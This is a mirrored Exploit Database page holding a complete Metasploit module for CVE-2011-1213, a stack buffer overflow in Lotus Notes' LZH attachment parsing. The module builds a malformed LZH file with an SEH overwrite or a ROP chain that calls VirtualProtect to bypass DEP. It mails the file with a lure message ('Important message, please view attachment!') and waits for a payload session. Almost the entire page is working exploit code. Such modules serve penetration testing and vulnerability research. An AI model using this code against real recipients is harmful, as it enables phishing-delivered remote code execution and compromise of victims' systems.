Lotus Notes 8.0.x < 8.5.2 FP2 - Autonomy Keyview ('.lzh' Attachment) (Metasploit)

• Exploit Database
• 47 阅读

• 作者： Metasploit
  日期： 2011-06-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17448/

• ##
  # $Id: lotusnotes_lzh.rb 13015 2011-06-23 15:43:54Z bannedit $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ManualRanking # needs client interaction and permanent listener
  
  	#
  	# This module sends email messages via smtp
  	#
  	include Msf::Exploit::Remote::SMTPDeliver
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview(.lzh attachment)',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
  				parsing a malformed, specially crafted LZH file. This vulnerability was
  				discovered binaryhouse.net
  
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'binaryhouse.net',		# original discovery
  					'alino <26alino@gmail.com>',	# Metasploit module
  				],
  			'Version'=> '$Revision: 13015 $',
  			'References' =>
  				[
  					['CVE', '2011-1213'],
  					['OSVDB', '72706'],
  					['BID', '48018'],
  					['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
  					['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
  				],
  			'Stance' => Msf::Exploit::Stance::Passive,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Platform' => ['win'],
  			'Targets'=>
  				[
  					[ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
  						{
  							'Offset' => 6741,
  							'Ret'=> 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
  						}
  					],
  					
  					[ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
  						{
  							'Offset' => 6745,
  							'Ret'=> 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
  						}
  					],
  				],
  			'DisclosureDate' => 'May 24 2011',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				#
  				# Email options
  				#
  				OptString.new('FILENAME',
  					[false, 'Sets the attachment file name', 'data.lzh']),
  				OptString.new('MESSAGE',
  					[false, 'Email message text', 'Important message, please view attachment!'])
  			], self.class)
  		register_advanced_options(
  			[
  				OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
  				OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
  			], self.class)
  	end
  
  	def exploit
  
  		header ="\x08"		# Size of archived file header <-- 8 - 13 = FFFFFFF6
  		header << "\x1a"		# 1 byte Header checksum
  		header << "-lh0-"		# Method ID (No compression)
  		header << "\x7c\x1a\x00\x00"	# Compressed file size
  		header << "\x7c\x1a\x00\x00"	# Uncompressed file size
  		header << "\xB2\x5e\xab\x3c"	# Original file date/time
  		header << "\x20"		# File attribute
  		header << "\x00"		# Level identifier
  		header << "\x07"		# File name length
  		header << "poc.txt"		# File name
  		header << "\x25\x7d"		# 16 bit CRC of the uncompressed file
  
  		lzh =header 
  		lzh << rand_text(target['Offset'])
  
  		if (target == targets[0])
  
  			lzh << generate_seh_record(target.ret)
  			lzh << make_nops(8)
  			lzh << payload.encoded
  
  		elsif (target == targets[1])
  
  			rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll
  
  			rop_gadgets =
  			[
  				0x60524404, # POP EAX; RETN nnotes.dll
  				0x7c37a140, # VirtualProtect() 
  				0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
  				0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
  				0x60620001, # POP EBP; RETN nnotes.dll
  				0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
  				0x7c34280f, # POP EBX; RETN MSVCR71.dll
  				0x00001954, # dwSize
  				0x780ea001, # POP ECX; RETN MSVCP60.dll
  				0x7c38b000, # lpflOldProtect
  				0x60e73200, # POP EDI; RETN nnotes.dll
  				0x60e73201, # RETN nnotes.dll
  				0x601d5f02, # POP EDX; RETN nnotes.dll
  				0x00000040, # flNewProtect
  				0x60524404, # POP EAX; RETN nnotes.dll
  				0x90909090, # NOP
  				0x60820801, # PUSHAD; RETN nnotes.dll
  			].pack("V*")
  
  			lzh << [target.ret].pack('V')
  			lzh[32, rop_nop.length] = rop_nop
  			lzh[220, rop_gadgets.length] = rop_gadgets
  			lzh[289, payload.encoded.length] = payload.encoded
  		end
  
  		name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10)+1) + ".lzh"
  		data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32)+1)
  
  		msg = Rex::MIME::Message.new
  		msg.mime_defaults
  		msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
  		msg.to = datastore['MAILTO']
  		msg.from = datastore['MAILFROM']
  
  		msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
  		msg.add_part_attachment(lzh, name)
  
  		send_message(msg.to_s)
  
  		print_status("Waiting for a payload session (backgrounding)...")
  
  		if not datastore['ExitOnSession'] and not job_id
  			raise RuntimeError, "Setting ExitOnSession to false requires running as a job (exploit -j)"
  		end
  
  		stime = Time.now.to_f
  		print_status "Starting the payload handler..."
  		while(true)
  			break if session_created? and datastore['ExitOnSession']
  			break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
  
  			select(nil,nil,nil,1)
  		end
  	end
  end